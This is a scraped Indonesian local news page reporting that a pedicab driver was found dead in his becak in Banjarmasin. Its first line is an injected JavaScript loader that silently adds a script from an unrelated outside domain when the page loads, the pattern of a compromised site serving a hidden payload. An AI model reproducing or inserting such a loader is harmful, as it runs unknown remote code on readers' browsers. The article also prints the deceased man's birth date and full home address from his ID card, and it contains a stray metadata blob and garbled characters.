(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pengayuh Becak Didapati Tak Bernyawa di Bawah Pohon Rindang

{"remix_data":[],"source_tags":[],"origin":"unknown","total_draw_time":0,"total_draw_actions":0,"layers_used":0,"brushes_used":0,"photos_added":0,"total_editor_actions":{},"tools_used":{},"is_sticker":false,"edited_since_last_sticker_save":false,"containsFTESticker":false}

KANALKALIMANTAN.COM, BANJARMASIN â€“ Dikira tertidur, seorang lelaki pengayuh becak ditemukan meninggal dunia di Jalan A Yani Km 3 depan Kompleks Beringin, Banjarmasin.

Warga sekitar Jalan A Yani Km 3 dan mereka yang melintas di kawasan itu, Selasa (26/11/2024) pagi, sempat dibuat geger. Saat ditemukan dengan posisi duduk dan kepala menyandar pada sisi kanan becak.

Lelaki itu ditemukan tersandar di dalam becak dalam kondisi sudah tidak bernyawa, dengan becak terparkir di atas trotoar antara dua pohon peneduh.

Belakangan diketahui lelaki itu adalah warga Kelayan A dari KTP yang ditemukan di tubuhnya, bernama Marsuni, kelahiran Banjarmasin 8 November 1969.

Dalam KTP itu tercantum alamat Marsuni Jalan Kelayan A Gang Abadi RT 008 RW 001, Kelurahan Kelayan Dalam, Kecamatan Banjarmasin Selatan, Kota Banjarmasin.

Informasi diterima Kanalkalimantan, jasad Marsuni sudah dibawa ke kamar jenazah RSUD Ulin Banjarmasin. â€œSudah berada di ruang jenazah dan pihak keluarga sudah mengetahui,â€ ujar rekanan.

Belum diketahui penyebab meninggal dunia lelaki paruh baya itu. Dia diketahui memang sering mangkal bersama becak di Jalan A Yani. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: kk.